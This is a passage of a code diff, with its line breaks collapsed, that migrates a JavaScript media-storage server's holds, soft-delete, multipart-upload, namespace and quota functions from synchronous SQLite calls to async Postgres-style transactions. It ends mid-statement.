database work. Returns write()'s result; throws, with nothing written, when either++ * database work (awaited). Returns write()'s result; throws, with nothing written, when either* part fails. Inside an outer transaction (webhooks.announce) it is a savepoint of that one.** The projection stats local files (sizes, present/missing copies) but never reads them: content@@@ -524,12 +524,12 @@ function safeSync(kind, id) {* tier move verifies them (afterTierMove), as before. A row write() deleted needs nothing: the* row-delete trigger marks its object deleted in the same statement (server/db/database.js).*/--function withObject(kind, ids, write) {++async function withObject(kind, ids, write) {const fn = SYNC_BY_KIND[kind];if (!fn) throw new Error(`withObject: unknown projection ${kind}`);-- return _syncTx(() => {-- const out = write();-- for (const id of _rowIds(ids, out)) fn(id);++ return await _syncTx(async () => {++ const out = await write();++ for (const id of _rowIds(ids, out)) await fn(id);return out;});}@@@ -540,11 +540,11 @@ function withObject(kind, ids, write) {* combined transaction fails, the row is written alone and the object re-projected after it (the* pre-WS-G two steps; logged, and the drift report lists the row until a later write catches up).*/--function withObjectOrRow(kind, ids, write) {-- try { return withObject(kind, ids, write); } catch (err) {++async function withObjectOrRow(kind, ids, write) {++ try { return await withObject(kind, ids, write); } catch (err) {console.warn(`[Objects] ${kind}: object not written with its row (${err.message}); writing the row alone`);-- const out = write();-- for (const id of _rowIds(ids, out)) safeSync(kind, id);++ const out = await write();++ for (const id of _rowIds(ids, out)) await safeSync(kind, id);return out;}}@@@ -556,22 +556,22 @@ function withObjectOrRow(kind, ids, write) {* object: when the combined transaction fails the row is flipped alone and re-projected after it* (as withObjectOrRow). Without write(), the re-projection alone. The object part never throws.*/--function afterTierMove(vodId, verifiedProviders = [], write = null) {-- const reproject = () => {-- const r = syncVod(vodId);++async function afterTierMove(vodId, verifiedProviders = [], write = null) {++ const reproject = async () => {++ const r = await syncVod(vodId);if (!r || !r.id) return;-- for (const l of listLocations(r.id)) {-- if (verifiedProviders.includes(l.provider)) setLocationState(l.id, { state: 'present' });++ for (const l of await listLocations(r.id)) {++ if (verifiedProviders.includes(l.provider)) await setLocationState(l.id, { state: 'present' });}};let out;if (write) {-- try { return _syncTx(() => { const w = write(); reproject(); return w; }); } catch (err) {++ try { return await _syncTx(async () => { const w = await write(); await reproject(); return w; }); } catch (err) {console.warn(`[Objects] tier move vod ${vodId}: object not written with its row (${err.message}); flipping the row alone`);-- out = write();++ out = await write();}}-- try { _syncTx(reproject); } catch (err) { console.warn(`[Objects] tier sync vod ${vodId}:`, err.message); }++ try { await _syncTx(reproject); } catch (err) { console.warn(`[Objects] tier sync vod ${vodId}:`, err.message); }return out;}@@@ -581,12 +581,12 @@ function afterTierMove(vodId, verifiedProviders = [], write = null) {* A staff hold placed or released is a moderation action (media.moderation.action, ADR-022): announced in* the transaction that records it, for Network's moderation audit. A creator's own pin is not moderation.*/--function announceHold(action, hold, by) {++async function announceHold(action, hold, by) {if (!hold || hold.kind === 'creator_pin') return;-- const obj = getObject(hold.object_id);++ const obj = await getObject(hold.object_id);if (!obj) return;const who = String(by || '');-- require('../events').recordModeration(obj.app_id, {++ await require('../events').recordModeration(obj.app_id, {action,target: { type: obj.kind, id: obj.id, ...(obj.owner_subject ? { owner_subject: obj.owner_subject } : {}) },actor_subject: /^usr_[0-9A-HJKMNP-TV-Z]{26}$/.test(who) ? who : null,@@@ -596,15 +596,15 @@ function announceHold(action, hold, by) {}/** Place a hold. created_by (or placed_by) is who placed it; note is free text for staff (≤ 2000). */--function placeHold({ object_id, kind, reason = '', created_by = null, placed_by = null, note = null }) {++async function placeHold({ object_id, kind, reason = '', created_by = null, placed_by = null, note = null }) {if (!HOLD_KINDS.includes(kind)) throw new Error(`hold kind must be one of ${HOLD_KINDS.join(', ')}`);-- return db.getDb().transaction(() => {-- const r = db.run('INSERT INTO media_holds (object_id, kind, reason, created_by, note) VALUES (?, ?, ?, ?, ?)',++ return await db.getDb().tx(async () => {++ const r = await db.run('INSERT INTO media_holds (object_id, kind, reason, created_by, note) VALUES (?, ?, ?, ?, ?) RETURNING id',[object_id, kind, String(reason || '').slice(0, 1000), placed_by ?? created_by, note == null || note === '' ? null : String(note).slice(0, 2000)]);-- const hold = db.get('SELECT * FROM media_holds WHERE id = ?', [r.lastInsertRowid]);-- announceHold('hold.placed', hold, placed_by ?? created_by);++ const hold = await db.get('SELECT * FROM media_holds WHERE id = ?', [r.lastInsertRowid]);++ await announceHold('hold.placed', hold, placed_by ?? created_by);return hold;-- })();++ });}/** A hold as the APIs answer it: the row, plus placed_by / placed_at (the names staff tools use for created_by / created_at). */@@@ -613,13 +613,13 @@ function holdPublic(h) {return { ...h, note: h.note ?? null, placed_by: h.created_by ?? null, placed_at: h.created_at ?? null };}--function releaseHold(holdId, releasedBy = null) {-- return db.getDb().transaction(() => {-- const r = db.run('UPDATE media_holds SET released_at = CURRENT_TIMESTAMP, released_by = ? WHERE id = ? AND released_at IS NULL', [releasedBy, holdId]);-- const hold = db.get('SELECT * FROM media_holds WHERE id = ?', [holdId]);-- if (r.changes) announceHold('hold.released', hold, releasedBy);++async function releaseHold(holdId, releasedBy = null) {++ return await db.getDb().tx(async () => {++ const r = await db.run('UPDATE media_holds SET released_at = ov_now(), released_by = ? WHERE id = ? AND released_at IS NULL', [releasedBy, holdId]);++ const hold = await db.get('SELECT * FROM media_holds WHERE id = ?', [holdId]);++ if (r.changes) await announceHold('hold.released', hold, releasedBy);return hold;-- })();++ });}// ── Native objects: soft delete, restore, purge, quota ───────@@@ -628,31 +628,31 @@ function objectFilePath(obj) {return path.join(config.objects.path, obj.app_id, obj.id);}--function softDelete(obj, { by = null } = {}) {-- if (isHeld(obj.id)) throw new HeldError(obj.id);++async function softDelete(obj, { by = null } = {}) {++ if (await isHeld(obj.id)) throw new HeldError(obj.id);const md = parseJson(obj.metadata, {});md.pre_delete_status = obj.lifecycle_status;md.retention_until = new Date(Date.now() + config.objects.retentionDays * 864e5).toISOString();if (by) md.deleted_by = by;const events = require('../events');-- db.getDb().transaction(() => {-- db.run(`UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = CURRENT_TIMESTAMP, metadata = ?, updated_at = CURRENT_TIMESTAMP++ await db.getDb().tx(async () => {++ await db.run(`UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = ov_now(), metadata = ?, updated_at = ov_now()WHERE id = ?`, [JSON.stringify(md), obj.id]);-- require('./namespaces').settle(obj.id); // an upload deleted before it completed holds no quota-- events.recordObjectChanges(); // media.object.deleted commits with the delete-- })();++ await require('./namespaces').settle(obj.id); // an upload deleted before it completed holds no quota++ await events.recordObjectChanges(); // media.object.deleted commits with the delete++ });events.kick();-- return getObject(obj.id);++ return await getObject(obj.id);}--function restore(obj) {++async function restore(obj) {const md = parseJson(obj.metadata, {});if (md.purged_at) return null;const back = md.pre_delete_status && md.pre_delete_status !== 'deleted' ? md.pre_delete_status : 'ready';delete md.pre_delete_status; delete md.retention_until; delete md.deleted_by;-- db.run(`UPDATE media_objects SET lifecycle_status = ?, deleted_at = NULL, metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`,++ await db.run(`UPDATE media_objects SET lifecycle_status = ?, deleted_at = NULL, metadata = ?, updated_at = ov_now() WHERE id = ?`,[back, JSON.stringify(md), obj.id]);-- return getObject(obj.id);++ return await getObject(obj.id);}/**@@@ -662,21 +662,21 @@ function restore(obj) {* has a copy in the R2 popularity cache: the object tiering removes that first* (./tiering.js demotes deleted objects), so a purge never leaves it behind.*/--function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {-- const rows = db.all(`SELECT * FROM media_objects WHERE lifecycle_status = 'deleted' AND legacy_ref IS NULL++async function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {++ const rows = await db.all(`SELECT * FROM media_objects WHERE lifecycle_status = 'deleted' AND legacy_ref IS NULLAND deleted_at <= datetime('now', ?)`, [`-${Math.max(0, retentionDays)} days`]);const root = path.resolve(config.objects.path) + path.sep;let purged = 0;for (const obj of rows) {const md = parseJson(obj.metadata, {});-- if (md.purged_at || isHeld(obj.id)) continue;-- if (listLocations(obj.id).some(l => l.provider === 'r2')) continue;-- for (const l of listLocations(obj.id)) {++ if (md.purged_at || await isHeld(obj.id)) continue;++ if ((await listLocations(obj.id)).some(l => l.provider === 'r2')) continue;++ for (const l of await listLocations(obj.id)) {if (l.provider === 'local' && path.resolve(l.key).startsWith(root)) { try { fs.unlinkSync(l.key); } catch { /* already gone */ } }-- if (l.provider === 'local') db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);++ if (l.provider === 'local') await db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);}md.purged_at = new Date().toISOString();-- db.run('UPDATE media_objects SET metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [JSON.stringify(md), obj.id]);++ await db.run('UPDATE media_objects SET metadata = ?, updated_at = ov_now() WHERE id = ?', [JSON.stringify(md), obj.id]);purged++;}return purged;@@@ -687,9 +687,9 @@ function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {* also soft-deleted ones until purged) and the reservations of uploads in progress* (objects/namespaces.usage of the tenant's root, which is the whole tenant).*/--function usedBytes(appId, excludeId = null) {-- const app = db.getApp(appId) || { app_id: appId };-- const u = require('./namespaces').usage(app, db.rootNamespace(app), { excludeId });++async function usedBytes(appId, excludeId = null) {++ const app = await db.getApp(appId) || { app_id: appId };++ const u = await require('./namespaces').usage(app, db.rootNamespace(app), { excludeId });return u.used_bytes + u.reserved_bytes;}@@@ -704,9 +704,9 @@ function legacyPublicUrl(obj) {return p ? config.publicUrl + p : null;}--function objectPublic(obj, { locations = true } = {}) {++async function objectPublic(obj, { locations = true } = {}) {if (!obj) return null;-- const locs = listLocations(obj.id);++ const locs = await listLocations(obj.id);const out = {id: obj.id,media_ref: { media_id: obj.id },@@@ -721,17 +721,17 @@ function objectPublic(obj, { locations = true } = {}) {size_bytes: obj.size_bytes,content_hash: obj.content_hash || null,metadata: parseJson(obj.metadata, {}),-- held: isHeld(obj.id),++ held: await isHeld(obj.id),// metadata / bytes_verified / playable, from this row and its copies' recorded checks (objects/readiness.js).-- readiness: require('./readiness').compute(obj, locs),++ readiness: await require('./readiness').compute(obj, locs),// Developer-project sandbox objects have no public URL: /download hands out signed ones.-- public_url: obj.visibility !== 'private' && obj.lifecycle_status === 'ready' && !db.isSandboxTenant(obj.app_id)++ public_url: obj.visibility !== 'private' && obj.lifecycle_status === 'ready' && !await db.isSandboxTenant(obj.app_id)? (legacyPublicUrl(obj) || `${config.publicUrl}/o/${obj.id}`) : null,created_at: obj.created_at,updated_at: obj.updated_at,deleted_at: obj.deleted_at || null,};-- if (db.isSandboxTenant(obj.app_id)) out.sandbox = true;++ if (await db.isSandboxTenant(obj.app_id)) out.sandbox = true;// Where the bytes are, never the keys or paths themselves.if (locations) {out.locations = locs.map(l => ({@@@ -31,16 +31,16 @@ function partsRoot() { return path.join(config.objects.path, '.parts'); }function sessionDir(uploadId) { return path.join(partsRoot(), uploadId); }function partFile(uploadId, n) { return path.join(sessionDir(uploadId), String(n)); }--function getSession(uploadId) {-- return uploadId ? db.get('SELECT * FROM media_uploads WHERE id = ?', [String(uploadId)]) : null;++async function getSession(uploadId) {++ return uploadId ? await db.get('SELECT * FROM media_uploads WHERE id = ?', [String(uploadId)]) : null;}--function activeFor(objectId) {-- return db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [objectId]);++async function activeFor(objectId) {++ return await db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [objectId]);}--function listParts(uploadId) {-- return db.all('SELECT part_number, size_bytes, sha256, received_at FROM media_upload_parts WHERE upload_id = ? ORDER BY part_number', [uploadId]);++async function listParts(uploadId) {++ return await db.all('SELECT part_number, size_bytes, sha256, received_at FROM media_upload_parts WHERE upload_id = ? ORDER BY part_number', [uploadId]);}/** Exact size of part n (1-based) of a session. */@@@ -73,7 +73,7 @@ function freeBytes() {* Start a session for `obj` (uploading, size declared). An active session for the object is* replaced (its parts deleted). Returns the session row, or { error, status, code }.*/--function initiate(obj, { partSize: requested } = {}) {++async function initiate(obj, { partSize: requested } = {}) {const total = Number(obj.size_bytes) || 0;if (!total) return { status: 400, code: 'media.object.invalid', error: 'Declare size_bytes before a multipart upload' };if (total > config.objects.multipartMaxMb * MB) return { status: 413, code: 'media.object.too_large', error: `Multipart uploads are limited to ${config.objects.multipartMaxMb * MB} bytes` };@@@ -83,14 +83,14 @@ function initiate(obj, { partSize: requested } = {}) {const need = 2 * total + config.objects.uploadMinFreeMb * MB;const free = freeBytes();if (free < need) return { status: 507, code: 'media.storage.insufficient', error: `Not enough free space for this upload (${Math.floor(free / MB)} MB free)` };-- const prior = activeFor(obj.id);-- if (prior) abort(prior.id, 'aborted', { release: false }); // replaced: the object's reservation carries over++ const prior = await activeFor(obj.id);++ if (prior) await abort(prior.id, 'aborted', { release: false }); // replaced: the object's reservation carries overconst id = `mup_${ids.ulid()}`;const parts = Math.max(1, Math.ceil(total / chosen.size));-- db.run(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, expires_at)++ await db.run(`INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, expires_at)VALUES (?, ?, ?, ?, ?, ?, datetime('now', ?))`, [id, obj.id, obj.app_id, chosen.size, total, parts, `+${Math.max(1, config.objects.multipartTtlHours)} hours`]);fs.mkdirSync(sessionDir(id), { recursive: true });-- return getSession(id);++ return await getSession(id);}/**@@@ -107,43 +107,43 @@ function receivePart(req, session, n, { expectSha256 = null } = {}) {let got = 0, done = false;const drop = () => { try { fs.unlinkSync(tmp); } catch { /* not written */ } };const finish = (r) => { if (done) return; done = true; resolve(r); };-- const fail = (r) => {++ const fail = async (r) => {if (done) return;-- const end = () => { drop(); finish(r); };-- if (out.closed) end(); else { out.once('close', end); out.destroy(); }++ const end = async () => { drop(); await finish(r); };++ if (out.closed) await end(); else { out.once('close', end); out.destroy(); }};-- req.on('data', (c) => {++ req.on('data', async (c) => {if (done) return;got += c.length;-- if (got > want) { req.unpipe(out); req.resume(); return fail({ status: 413, code: 'media.upload.part_too_large', error: `Part ${n} is ${want} bytes` }); }++ if (got > want) { req.unpipe(out); req.resume(); return await fail({ status: 413, code: 'media.upload.part_too_large', error: `Part ${n} is ${want} bytes` }); }hash.update(c);});-- req.on('aborted', () => fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));-- req.on('error', () => fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));-- out.on('error', (e) => fail({ status: 500, code: 'media.object.store_failed', error: e.message }));-- out.on('finish', () => {++ req.on('aborted', async () => await fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));++ req.on('error', async () => await fail({ status: 400, code: 'media.object.upload_interrupted', error: 'Upload did not complete' }));++ out.on('error', async (e) => await fail({ status: 500, code: 'media.object.store_failed', error: e.message }));++ out.on('finish', async () => {if (done) return;const sha = hash.digest('hex');-- if (got !== want) { drop(); return finish({ status: 400, code: 'media.upload.part_size_mismatch', error: `Part ${n} must be ${want} bytes, received ${got}` }); }-- if (expectSha256 && String(expectSha256).toLowerCase() !== sha) { drop(); return finish({ status: 400, code: 'media.upload.part_hash_mismatch', error: `Part ${n} does not match X-Content-SHA256` }); }++ if (got !== want) { drop(); return await finish({ status: 400, code: 'media.upload.part_size_mismatch', error: `Part ${n} must be ${want} bytes, received ${got}` }); }++ if (expectSha256 && String(expectSha256).toLowerCase() !== sha) { drop(); return await finish({ status: 400, code: 'media.upload.part_hash_mismatch', error: `Part ${n} does not match X-Content-SHA256` }); }// The session may have been completed or aborted while this part streamed in.-- const now = getSession(session.id);-- if (!now || now.status !== 'active') { drop(); return finish({ status: 409, code: 'media.upload.not_active', error: `The upload is ${now ? now.status : 'gone'}` }); }++ const now = await getSession(session.id);++ if (!now || now.status !== 'active') { drop(); return await finish({ status: 409, code: 'media.upload.not_active', error: `The upload is ${now ? now.status : 'gone'}` }); }try {fs.renameSync(tmp, partFile(session.id, n));-- db.run(`INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES (?, ?, ?, ?)-- ON CONFLICT(upload_id, part_number) DO UPDATE SET size_bytes = excluded.size_bytes, sha256 = excluded.sha256, received_at = CURRENT_TIMESTAMP`,++ await db.run(`INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES (?, ?, ?, ?)++ ON CONFLICT(upload_id, part_number) DO UPDATE SET size_bytes = excluded.size_bytes, sha256 = excluded.sha256, received_at = ov_now()`,[session.id, n, got, sha]);-- db.run('UPDATE media_uploads SET updated_at = CURRENT_TIMESTAMP WHERE id = ?', [session.id]);-- } catch (e) { drop(); return finish({ status: 500, code: 'media.object.store_failed', error: e.message }); }-- finish({ part_number: n, size_bytes: got, sha256: sha });++ await db.run('UPDATE media_uploads SET updated_at = ov_now() WHERE id = ?', [session.id]);++ } catch (e) { drop(); return await finish({ status: 500, code: 'media.object.store_failed', error: e.message }); }++ await finish({ part_number: n, size_bytes: got, sha256: sha });});req.pipe(out);});}/** Public shape of a session (never paths). */--function sessionPublic(session, { parts = true } = {}) {++async function sessionPublic(session, { parts = true } = {}) {const out = {upload_id: session.id, object_id: session.object_id, status: session.status,part_size: session.part_size, total_size: session.total_size, parts_expected: session.parts_expected,@@@ -151,7 +151,7 @@ function sessionPublic(session, { parts = true } = {}) {created_at: session.created_at,};if (parts) {-- const list = listParts(session.id);++ const list = await listParts(session.id);const have = new Set(list.map(p => p.part_number));out.parts = list;out.received_bytes = list.reduce((a, p) => a + p.size_bytes, 0);@@@ -163,11 +163,11 @@ function sessionPublic(session, { parts = true } = {}) {}/** active -> completing, unless someone else got there first. */--function beginComplete(session) {-- return db.run("UPDATE media_uploads SET status = 'completing', updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status = 'active'", [session.id]).changes > 0;++async function beginComplete(session) {++ return (await db.run("UPDATE media_uploads SET status = 'completing', updated_at = ov_now() WHERE id = ? AND status = 'active'", [session.id])).changes > 0;}--function reopen(session) {-- db.run("UPDATE media_uploads SET status = 'active', updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status = 'completing'", [session.id]);++async function reopen(session) {++ await db.run("UPDATE media_uploads SET status = 'active', updated_at = ov_now() WHERE id = ? AND status = 'completing'", [session.id]);}/**@@@ -176,7 +176,7 @@ function reopen(session) {* Resolves { bytes, sha256 } or { status, code, error, missing? }.*/async function assemble(session, dest, clientParts = null) {-- const list = listParts(session.id);++ const list = await listParts(session.id);const byN = new Map(list.map(p => [p.part_number, p]));const missing = [];for (let n = 1; n <= session.parts_expected; n++) if (!byN.has(n) || !fs.existsSync(partFile(session.id, n))) missing.push(n);@@@ -218,41 +218,41 @@ async function assemble(session, dest, clientParts = null) {return { bytes, sha256: hash.digest('hex') };}--function finish(session) {-- db.run("UPDATE media_uploads SET status = 'completed', completed_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP WHERE id = ?", [session.id]);-- removeParts(session.id);++async function finish(session) {++ await db.run("UPDATE media_uploads SET status = 'completed', completed_at = ov_now(), updated_at = ov_now() WHERE id = ?", [session.id]);++ await removeParts(session.id);}--function removeParts(uploadId) {++async function removeParts(uploadId) {try { fs.rmSync(sessionDir(uploadId), { recursive: true, force: true }); } catch { /* best effort */ }-- db.run('DELETE FROM media_upload_parts WHERE upload_id = ?', [uploadId]);++ await db.run('DELETE FROM media_upload_parts WHERE upload_id = ?', [uploadId]);}/*** Delete a session's parts; the object stays uploading. Its quota reservation is released down to* what is still stored for it (objects/namespaces.release), unless a new session replaces this one.*/--function abort(uploadId, status = 'aborted', { release = true } = {}) {-- const session = getSession(uploadId);-- db.run("UPDATE media_uploads SET status = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status IN ('active', 'completing')", [status, uploadId]);-- removeParts(uploadId);-- if (release && session) require('./namespaces').release(session.object_id);++async function abort(uploadId, status = 'aborted', { release = true } = {}) {++ const session = await getSession(uploadId);++ await db.run("UPDATE media_uploads SET status = ?, updated_at = ov_now() WHERE id = ? AND status IN ('active', 'completing')", [status, uploadId]);++ await removeParts(uploadId);++ if (release && session) await require('./namespaces').release(session.object_id);}/*** Expire sessions past their expiry (incomplete multipart uploads) and remove part directories that* no session owns. Returns { expired, orphan_dirs }.*/--function purgeExpired() {++async function purgeExpired() {let expired = 0, orphans = 0;-- for (const s of db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing') AND expires_at < datetime('now')")) {-- abort(s.id, 'expired');++ for (const s of await db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing') AND expires_at < datetime('now')")) {++ await abort(s.id, 'expired');expired++;}let dirs = [];try { dirs = fs.readdirSync(partsRoot()); } catch { /* none yet */ }for (const d of dirs) {-- const s = getSession(d);++ const s = await getSession(d);if (s && ['active', 'completing'].includes(s.status)) continue;try { fs.rmSync(path.join(partsRoot(), d), { recursive: true, force: true }); orphans++; } catch { /* next time */ }}@@@ -260,8 +260,8 @@ function purgeExpired() {}/** Sessions that are still open (reconciliation: incomplete multipart uploads). */--function openSessions() {-- return db.all("SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u WHERE status IN ('active', 'completing') ORDER BY created_at");++async function openSessions() {++ return await db.all("SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u WHERE status IN ('active', 'completing') ORDER BY created_at");}module.exports = {@@@ -26,30 +26,31 @@ function problem(res, status, code, detail) {return http.sendProblem(res, status, code, { detail });}--function shape(req, row) {-- return namespaces.publicShape(req.appRow, row, namespaces.reconcile(req.appRow, row.namespace));++async function shape(req, row) {++ return await namespaces.publicShape(req.appRow, row, await namespaces.reconcile(req.appRow, row.namespace));}// Reads, with the default per-actor limits (server/actor-limits.js).--router.get('/', tenantAuth({ verb: 'list', namespaced: true }), limits('media.namespace.list'), (req, res) => {++router.get('/', tenantAuth({ verb: 'list', namespaced: true }), limits('media.namespace.list'), async (req, res) => {try {-- const rows = namespaces.listForTenant(req.appId).filter(r => namespaceGrant(req, 'list', r.namespace).allowed);-- res.json({ namespaces: rows.map(r => shape(req, r)) });++ const rows = [];++ for (const r of await namespaces.listForTenant(req.appId)) if ((await namespaceGrant(req, 'list', r.namespace)).allowed) rows.push(r);++ res.json({ namespaces: (await Promise.all(rows.map(async r => await shape(req, r)))) });} catch (err) {console.error('[Namespaces] list error:', err.message);problem(res, 500, 'media.namespace.list_failed', 'Failed to list namespaces');}});--router.get('/:namespace', tenantAuth({ verb: 'read', namespaced: true }), limits('media.namespace.read'), (req, res) => {++router.get('/:namespace', tenantAuth({ verb: 'read', namespaced: true }), limits('media.namespace.read'), async (req, res) => {try {const named = namespaces.resolveName(req.appRow, req.params.namespace);if (named.error) return problem(res, 400, 'media.namespace.invalid', named.error);-- const g = namespaceGrant(req, 'read', named.namespace);++ const g = await namespaceGrant(req, 'read', named.namespace);if (!g.allowed) return problem(res, 403, g.code, g.reason);-- const row = namespaces.get(named.namespace);++ const row = await namespaces.get(named.namespace);if (!row || row.app_id !== req.appId) return problem(res, 404, 'media.namespace.not_found', 'No such namespace in this tenant');-- res.json(shape(req, row));++ res.json(await shape(req, row));} catch (err) {console.error('[Namespaces] read error:', err.message);problem(res, 500, 'media.namespace.read_failed', 'Failed to read the namespace');@@@ -58,12 +58,12 @@ const sqlTime = (ms) => new Date(ms).toISOString().replace('T', ' ').slice(0, 19// ── Rows ─────────────────────────────────────────────────────--function get(namespace) {-- return namespace ? db.get('SELECT * FROM media_namespaces WHERE namespace = ?', [String(namespace)]) : null;++async function get(namespace) {++ return namespace ? await db.get('SELECT * FROM media_namespaces WHERE namespace = ?', [String(namespace)]) : null;}--function listForTenant(appId) {-- return db.all('SELECT * FROM media_namespaces WHERE app_id = ? ORDER BY namespace', [appId]);++async function listForTenant(appId) {++ return await db.all('SELECT * FROM media_namespaces WHERE app_id = ? ORDER BY namespace', [appId]);}/** Is `ns` the namespace `base` or below it? */@@@ -72,21 +72,21 @@ function within(base, ns) {}/** The tenant's rows from its root down to `namespace` (those that exist), root first. */--function chain(appId, namespace) {++async function chain(appId, namespace) {const parts = String(namespace || '').split('.');const names = parts.map((_, i) => parts.slice(0, i + 1).join('.'));if (!names.length) return [];-- const rows = db.all(`SELECT * FROM media_namespaces WHERE app_id = ? AND namespace IN (${names.map(() => '?').join(', ')})`, [appId, ...names]);++ const rows = await db.all(`SELECT * FROM media_namespaces WHERE app_id = ? AND namespace IN (${names.map(() => '?').join(', ')})`, [appId, ...names]);return rows.sort((a, b) => a.namespace.length - b.namespace.length);}/** Policy in force in `namespace`: the root's, overridden key by key by each child on the way down. */--function effectivePolicy(appId, namespace) {-- return Object.assign({}, ...chain(appId, namespace).map(r => parsePolicy(r.policy)));++async function effectivePolicy(appId, namespace) {++ return Object.assign({}, ...(await chain(appId, namespace)).map(r => parsePolicy(r.policy)));}--function isStrict(appId, namespace) {-- return effectivePolicy(appId, namespace).strict_verbs === true;++async function isStrict(appId, namespace) {++ return (await effectivePolicy(appId, namespace)).strict_verbs === true;}/**@@@ -113,9 +113,9 @@ function resolveName(app, requested) {* row, or { error, status, code } when the tenant already has MEDIA_NAMESPACE_MAX_CHILDREN children* or the name belongs to another tenant.*/--function ensure(app, namespace) {-- const root = db.ensureRootNamespace(app);-- const found = get(namespace);++async function ensure(app, namespace) {++ const root = await db.ensureRootNamespace(app);++ const found = await get(namespace);if (found) {return found.app_id === app.app_id ? found: { error: `namespace ${namespace} belongs to another tenant`, status: 409, code: 'media.namespace.conflict' };@@@ -123,17 +123,18 @@ function ensure(app, namespace) {if (!within(root, namespace)) return { error: `namespace ${namespace} is not below ${root}`, status: 400, code: 'media.namespace.invalid' };const segs = namespace.slice(root.length + 1).split('.');const names = segs.map((_, i) => `${root}.${segs.slice(0, i + 1).join('.')}`);-- const missing = names.filter(n => !get(n));-- const children = db.get('SELECT COUNT(*) AS n FROM media_namespaces WHERE app_id = ? AND parent IS NOT NULL', [app.app_id]).n;++ const missing = [];++ for (const n of names) if (!await get(n)) missing.push(n);++ const children = (await db.get('SELECT COUNT(*) AS n FROM media_namespaces WHERE app_id = ? AND parent IS NOT NULL', [app.app_id])).n;if (children + missing.length > config.objects.maxChildNamespaces) {return { error: `a tenant has at most ${config.objects.maxChildNamespaces} namespaces below its root`, status: 413, code: 'media.quota.namespaces_exceeded' };}let parent = root;for (const name of names) {-- db.run('INSERT OR IGNORE INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, ?, ?)', [name, app.app_id, parent, db.namespaceOwner(app)]);++ await db.run('INSERT INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, ?, ?) ON CONFLICT DO NOTHING', [name, app.app_id, parent, db.namespaceOwner(app)]);parent = name;}-- return get(namespace);++ return await get(namespace);}// ── Usage and quotas ─────────────────────────────────────────@@@ -143,7 +144,7 @@ function ensure(app, namespace) {* reserved_objects }. The root's subtree is the whole tenant, v1 files included. `excludeId` leaves* one object (and its reservation) out, for re-checking that object.*/--function usage(app, namespace, { excludeId = null } = {}) {++async function usage(app, namespace, { excludeId = null } = {}) {const root = db.rootNamespace(app);const whole = namespace === root;const where = whole ? '' : ' AND (o.namespace = @ns OR substr(o.namespace, 1, @plen) = @prefix)';@@@ -152,13 +153,13 @@ function usage(app, namespace, { excludeId = null } = {}) {// Developer projects (third-party uploaders) pay for soft-deleted bytes until they are purged: they stay// on disk for the retention period, and upload -> delete -> upload would otherwise grow the disk.const retained = app.project_id ? " OR (o.lifecycle_status = 'deleted' AND json_extract(o.metadata, '$.purged_at') IS NULL)" : '';-- const used = db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0) AS b FROM media_objects o++ const used = await db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(o.size_bytes), 0)::bigint AS b FROM media_objects oWHERE o.app_id = @app AND o.legacy_ref IS NULL AND (o.lifecycle_status = 'ready'${retained}) AND o.id != @ex${where}`, p);// A reservation counts while its object is still uploading (a settled or failed one never double-counts).-- const reserved = db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(r.bytes), 0) AS b FROM media_quota_reservations r++ const reserved = await db.get(`SELECT COUNT(*) AS n, COALESCE(SUM(r.bytes), 0)::bigint AS b FROM media_quota_reservations rJOIN media_objects o ON o.id = r.object_id AND o.lifecycle_status = 'uploading'WHERE r.app_id = @app AND r.object_id != @ex${rwhere}`, p);-- const files = whole ? db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size), 0) AS b FROM files WHERE app_id = ?', [app.app_id]) : { n: 0, b: 0 };++ const files = whole ? await db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size), 0)::bigint AS b FROM files WHERE app_id = ?', [app.app_id]) : { n: 0, b: 0 };return { used_bytes: used.b + files.b, used_objects: used.n + files.n, reserved_bytes: reserved.b, reserved_objects: reserved.n };}@@@ -174,9 +175,18 @@ function limitsOf(app, row) {* ancestor with a limit (the root always carries the tenant's quota), and against the effective* policy's max_object_bytes. Returns null, or { status, code, detail, extra } for a problem answer.*/--function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null } = {}) {++/**++ * Inside a transaction, the tenant's quota lock (held to commit): a check and the row it admits commit before the next++ * check of the same tenant reads usage, as SQLite's one writer made them (ADR-035).++ */++async function lockQuota(appId) {++ if (db.getDb().inTransaction()) await db.get('SELECT pg_advisory_xact_lock(hashtext(?)) AS locked', [`media.quota:${appId}`]);++}++++async function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null } = {}) {++ await lockQuota(app.app_id);const root = db.rootNamespace(app);-- const rows = 